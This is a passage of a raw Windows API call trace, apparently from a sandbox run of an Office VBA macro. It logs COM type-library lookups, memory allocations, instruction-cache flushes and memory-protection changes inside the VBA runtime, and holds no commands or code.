pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000) returned 0x0 [0068.872] IMalloc:Alloc (This=0x7fefecb5380, cb=0x26d) returned 0xb052570 [0068.872] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.872] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.872] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.872] GetCurrentProcess () returned 0xffffffffffffffff [0068.872] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb052570, dwSize=0x4b) returned 1 [0068.872] IMalloc:Free (This=0x7fefecb5380, pv=0xb052570) [0068.872] IMalloc:Alloc (This=0x7fefecb5380, cb=0x230) returned 0xaeb7140 [0068.872] IUnknown:AddRef (This=0xb481318) returned 0x3 [0068.872] IUnknown:QueryInterface (in: This=0xb481318, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c208 | out: ppvObject=0x17c208*=0x0) returned 0x80004002 [0068.872] ITypeInfo:RemoteGetTypeAttr (in: This=0xb481318, ppTypeAttr=0x17c1e8, pDummy=0x10 | out: ppTypeAttr=0x17c1e8, pDummy=0x10) returned 0x0 [0068.872] ITypeInfo:LocalReleaseTypeAttr (This=0xb481318) returned 0x0 [0068.872] IUnknown:AddRef (This=0xb481318) returned 0x4 [0068.872] IUnknown:Release (This=0xb481318) returned 0x3 [0068.872] IUnknown:Release (This=0xb481318) returned 0x2 [0068.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22ec2, cbMultiByte=4, lpWideCharStr=0x17c1d0, cchWideChar=5 | out: lpWideCharStr="Val") returned 4 [0068.873] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22ec2, cbMultiByte=4, lpWideCharStr=0x17c210, cchWideChar=5 | out: lpWideCharStr="Val") returned 4 [0068.873] ITypeComp:RemoteBind (in: This=0xb55fe20, szName="Val", lHashVal=0x10e2dd, wFlags=0x3, ppTInfo=0x17c1c8, pDescKind=0x17c1dc, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x17c1c8*=0xb564470, pDescKind=0x17c1dc*=1, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0068.873] ITypeInfo:RemoteGetTypeAttr (in: This=0xb564470, ppTypeAttr=0x17c1d0, pDummy=0x1 | out: ppTypeAttr=0x17c1d0, pDummy=0x1) returned 0x0 [0068.873] ITypeInfo:LocalReleaseTypeAttr (This=0xb564470) returned 0x0 [0068.873] IUnknown:QueryInterface (in: This=0xb564470, riid=0x7fee5ca40f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x17c030 | out: ppvObject=0x17c030*=0xb564470) returned 0x0 [0068.873] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb564470, memid=1610612743, invkind=1, pFuncIndex=0x17c070 | out: pFuncIndex=0x17c070*=0x7) returned 0x0 [0068.873] ITypeInfo2:GetFuncCustData (in: This=0xb564470, index=0x7, GUID=0x7fee5cb3758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x17c088 | out: pVarVal=0x17c088*(varType=0x0, wReserved1=0x17, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x10e2dd)) returned 0x0 [0068.873] IUnknown:Release (This=0xb564470) returned 0x1 [0068.873] IUnknown:AddRef (This=0xb564470) returned 0x2 [0068.873] ITypeInfo:LocalReleaseFuncDesc (This=0xb564470) returned 0x0 [0068.873] IUnknown:Release (This=0xb564470) returned 0x1 [0068.873] IUnknown:QueryInterface (in: This=0xb564470, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c2f8 | out: ppvObject=0x17c2f8*=0x0) returned 0x80004002 [0068.873] IUnknown:AddRef (This=0xb564470) returned 0x2 [0068.873] IUnknown:QueryInterface (in: This=0xb564470, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c280 | out: ppvObject=0x17c280*=0x0) returned 0x80004002 [0068.873] IUnknown:QueryInterface (in: This=0xb564470, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c250 | out: ppvObject=0x17c250*=0x0) returned 0x80004002 [0068.873] IUnknown:QueryInterface (in: This=0xb564470, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c240 | out: ppvObject=0x17c240*=0x0) returned 0x80004002 [0068.873] IUnknown:QueryInterface (in: This=0xb564470, riid=0x7fee5cb0b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c248 | out: ppvObject=0x17c248*=0x0) returned 0x80004002 [0068.873] ITypeInfo:RemoteGetTypeAttr (in: This=0xb564470, ppTypeAttr=0x17c278, pDummy=0x10 | out: ppTypeAttr=0x17c278, pDummy=0x10) returned 0x0 [0068.874] ITypeInfo:LocalReleaseTypeAttr (This=0xb564470) returned 0x0 [0068.874] IUnknown:AddRef (This=0xb564470) returned 0x3 [0068.874] IUnknown:Release (This=0xb564470) returned 0x2 [0068.874] IUnknown:QueryInterface (in: This=0xb564470, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c468 | out: ppvObject=0x17c468*=0x0) returned 0x80004002 [0068.874] IUnknown:QueryInterface (in: This=0xb564470, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c460 | out: ppvObject=0x17c460*=0x0) returned 0x80004002 [0068.874] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564470, ppTLib=0x17bca0, pIndex=0x0 | out: ppTLib=0x17bca0*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.874] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17bcb0, pDummy=0x0 | out: ppTLibAttr=0x17bcb0, pDummy=0x0) returned 0x0 [0068.874] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.874] IUnknown:Release (This=0xb55fe10) returned 0xe [0068.874] ITypeInfo:RemoteGetDllEntry (in: This=0xb564470, memid=1610612743, invkind=1, refPtrFlags=0x17bca0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.874] ITypeInfo:RemoteGetDllEntry (in: This=0xb564470, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17bca0, pbstrName=0x0, pwOrdinal=0x17bcc0 | out: pBstrDllName=0x17bca0*=0x0, pbstrName=0x0, pwOrdinal=0x17bcc0*=0xbf30) returned 0x0 [0068.874] ITypeInfo:RemoteGetDllEntry (in: This=0xb564470, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000) returned 0x0 [0068.874] IMalloc:Alloc (This=0x7fefecb5380, cb=0x26d) returned 0xb052570 [0068.874] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.874] GetCurrentProcess () returned 0xffffffffffffffff [0068.874] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb052570, dwSize=0x3b) returned 1 [0068.874] IMalloc:Free (This=0x7fefecb5380, pv=0xb052570) [0068.874] IMalloc:Alloc (This=0x7fefecb5380, cb=0xb) returned 0x7d9c170 [0068.874] _mbscpy_s (in: _Dst=0x7d9c170, _DstSizeInBytes=0x4, _Src=0x4b2133a | out: _Dst=0x7d9c170) returned 0x0 [0068.875] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_str_Mid") returned 0x1058fe [0068.875] IUnknown:AddRef (This=0xb55fe10) returned 0xf [0068.875] IUnknown:Release (This=0xb55fe10) returned 0xe [0068.875] IUnknown:AddRef (This=0xb564418) returned 0x6 [0068.875] IUnknown:Release (This=0xb564418) returned 0x5 [0068.875] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c468 | out: ppvObject=0x17c468*=0x0) returned 0x80004002 [0068.875] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c460 | out: ppvObject=0x17c460*=0x0) returned 0x80004002 [0068.875] IMalloc:Free (This=0x7fefecb5380, pv=0x7d9c170) [0068.875] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564418, ppTLib=0x17bca0, pIndex=0x0 | out: ppTLib=0x17bca0*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.875] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17bcb0, pDummy=0x0 | out: ppTLibAttr=0x17bcb0, pDummy=0x0) returned 0x0 [0068.875] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.875] IUnknown:Release (This=0xb55fe10) returned 0xe [0068.875] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612741, invkind=1, refPtrFlags=0x17bca0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.875] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612741, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17bca0, pbstrName=0x0, pwOrdinal=0x17bcc0 | out: pBstrDllName=0x17bca0*=0x0, pbstrName=0x0, pwOrdinal=0x17bcc0*=0xbf30) returned 0x0 [0068.875] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612741, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000) returned 0x0 [0068.875] IUnknown:AddRef (This=0xb564418) returned 0x6 [0068.875] IUnknown:Release (This=0xb564418) returned 0x5 [0068.875] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c468 | out: ppvObject=0x17c468*=0x0) returned 0x80004002 [0068.875] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c460 | out: ppvObject=0x17c460*=0x0) returned 0x80004002 [0068.876] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564418, ppTLib=0x17bca0, pIndex=0x0 | out: ppTLib=0x17bca0*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.876] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17bcb0, pDummy=0x0 | out: ppTLibAttr=0x17bcb0, pDummy=0x0) returned 0x0 [0068.876] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.876] IUnknown:Release (This=0xb55fe10) returned 0xe [0068.876] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612736, invkind=1, refPtrFlags=0x17bca0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.876] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17bca0, pbstrName=0x0, pwOrdinal=0x17bcc0 | out: pBstrDllName=0x17bca0*=0x0, pbstrName=0x0, pwOrdinal=0x17bcc0*=0xbf30) returned 0x0 [0068.876] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000) returned 0x0 [0068.876] IMalloc:Alloc (This=0x7fefecb5380, cb=0xb) returned 0x7d9c170 [0068.876] _mbscpy_s (in: _Dst=0x7d9c170, _DstSizeInBytes=0x4, _Src=0x4b22f0a | out: _Dst=0x7d9c170) returned 0x0 [0068.876] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Chr") returned 0x103b5c [0068.876] IUnknown:AddRef (This=0xb55fe10) returned 0xf [0068.876] IUnknown:Release (This=0xb55fe10) returned 0xe [0068.876] IUnknown:AddRef (This=0xb564418) returned 0x6 [0068.876] IUnknown:Release (This=0xb564418) returned 0x5 [0068.876] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c468 | out: ppvObject=0x17c468*=0x0) returned 0x80004002 [0068.876] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c460 | out: ppvObject=0x17c460*=0x0) returned 0x80004002 [0068.876] IMalloc:Free (This=0x7fefecb5380, pv=0x7d9c170) [0068.877] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564418, ppTLib=0x17bca0, pIndex=0x0 | out: ppTLib=0x17bca0*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.877] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17bcb0, pDummy=0x0 | out: ppTLibAttr=0x17bcb0, pDummy=0x0) returned 0x0 [0068.877] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.877] IUnknown:Release (This=0xb55fe10) returned 0xe [0068.877] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612738, invkind=1, refPtrFlags=0x17bca0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.877] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17bca0, pbstrName=0x0, pwOrdinal=0x17bcc0 | out: pBstrDllName=0x17bca0*=0x0, pbstrName=0x0, pwOrdinal=0x17bcc0*=0xbf30) returned 0x0 [0068.877] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17bca0, pwOrdinal=0x500000000) returned 0x0 [0068.878] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564418, ppTLib=0x17b9f0, pIndex=0x0 | out: ppTLib=0x17b9f0*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.878] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17ba00, pDummy=0x0 | out: ppTLibAttr=0x17ba00, pDummy=0x0) returned 0x0 [0068.878] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.878] IUnknown:Release (This=0xb55fe10) returned 0xe [0068.878] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612741, invkind=1, refPtrFlags=0x17b9f0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.878] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612741, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17b9f0, pbstrName=0x0, pwOrdinal=0x17ba10 | out: pBstrDllName=0x17b9f0*=0x0, pbstrName=0x0, pwOrdinal=0x17ba10*=0xbc80) returned 0x0 [0068.879] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612741, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17b9f0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17b9f0, pwOrdinal=0x500000000) returned 0x0 [0068.879] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564470, ppTLib=0x17bf80, pIndex=0x0 | out: ppTLib=0x17bf80*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.879] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17bf90, pDummy=0x0 | out: ppTLibAttr=0x17bf90, pDummy=0x0) returned 0x0 [0068.879] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.879] IUnknown:Release (This=0xb55fe10) returned 0xe [0068.879] ITypeInfo:RemoteGetDllEntry (in: This=0xb564470, memid=1610612743, invkind=1, refPtrFlags=0x17bf80, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.879] ITypeInfo:RemoteGetDllEntry (in: This=0xb564470, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17bf80, pbstrName=0x0, pwOrdinal=0x17bfa0 | out: pBstrDllName=0x17bf80*=0x0, pbstrName=0x0, pwOrdinal=0x17bfa0*=0xc210) returned 0x0 [0068.879] ITypeInfo:RemoteGetDllEntry (in: This=0xb564470, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17bf80, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17bf80, pwOrdinal=0x500000000) returned 0x0 [0068.879] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564418, ppTLib=0x17bd30, pIndex=0x0 | out: ppTLib=0x17bd30*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.879] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17bd40, pDummy=0x0 | out: ppTLibAttr=0x17bd40, pDummy=0x0) returned 0x0 [0068.879] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.879] IUnknown:Release (This=0xb55fe10) returned 0xe [0068.879] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612741, invkind=1, refPtrFlags=0x17bd30, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.879] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612741, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17bd30, pbstrName=0x0, pwOrdinal=0x17bd50 | out: pBstrDllName=0x17bd30*=0x0, pbstrName=0x0, pwOrdinal=0x17bd50*=0xbfc0) returned 0x0 [0068.880] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612741, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17bd30, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17bd30, pwOrdinal=0x500000000) returned 0x0 [0068.880] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564418, ppTLib=0x17c070, pIndex=0x0 | out: ppTLib=0x17c070*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.880] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17c080, pDummy=0x0 | out: ppTLibAttr=0x17c080, pDummy=0x0) returned 0x0 [0068.880] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.880] IUnknown:Release (This=0xb55fe10) returned 0xe [0068.880] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612736, invkind=1, refPtrFlags=0x17c070, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.880] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17c070, pbstrName=0x0, pwOrdinal=0x17c090 | out: pBstrDllName=0x17c070*=0x0, pbstrName=0x0, pwOrdinal=0x17c090*=0xc300) returned 0x0 [0068.880] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612736, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17c070, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17c070, pwOrdinal=0x500000000) returned 0x0 [0068.880] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564418, ppTLib=0x17bde0, pIndex=0x0 | out: ppTLib=0x17bde0*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.881] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17bdf0, pDummy=0x0 | out: ppTLibAttr=0x17bdf0, pDummy=0x0) returned 0x0 [0068.881] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.881] IUnknown:Release (This=0xb55fe10) returned 0xe [0068.881] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612738, invkind=1, refPtrFlags=0x17bde0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.881] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17bde0, pbstrName=0x0, pwOrdinal=0x17be00 | out: pBstrDllName=0x17bde0*=0x0, pbstrName=0x0, pwOrdinal=0x17be00*=0xc070) returned 0x0 [0068.881] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17bde0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17bde0, pwOrdinal=0x500000000) returned 0x0 [0068.881] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb1d4e00, cb=0x1ec) returned 0xb4fc230 [0068.881] IMalloc:Free (This=0x7fefecb5380, pv=0x7cd6210) [0068.881] GetCurrentProcess () returned 0xffffffffffffffff [0068.881] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6429, dwSize=0x8) returned 1 [0068.881] GetCurrentProcess () returned 0xffffffffffffffff [0068.881] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6428, dwSize=0x8) returned 1 [0068.881] GetCurrentProcess () returned 0xffffffffffffffff [0068.881] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1139, dwSize=0x8) returned 1 [0068.881] GetCurrentProcess () returned 0xffffffffffffffff [0068.881] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1138, dwSize=0x8) returned 1 [0068.881] GetCurrentProcess () returned 0xffffffffffffffff [0068.881] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1148, dwSize=0x2) returned 1 [0068.881] GetCurrentProcess () returned 0xffffffffffffffff [0068.881] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c119c, dwSize=0x45) returned 1 [0068.881] VirtualProtect (in: lpAddress=0x51c119c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x17c3ec | out: lpflOldProtect=0x17c3ec*=0x40) returned 1 [0068.882] GetCurrentProcess () returned 0xffffffffffffffff [0068.882] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb63ac, dwSize=0x45) returned 1 [0068.882] VirtualProtect (in: lpAddress=0xaeb63ac, dwSize=0x48, flNewProtect=0x40, 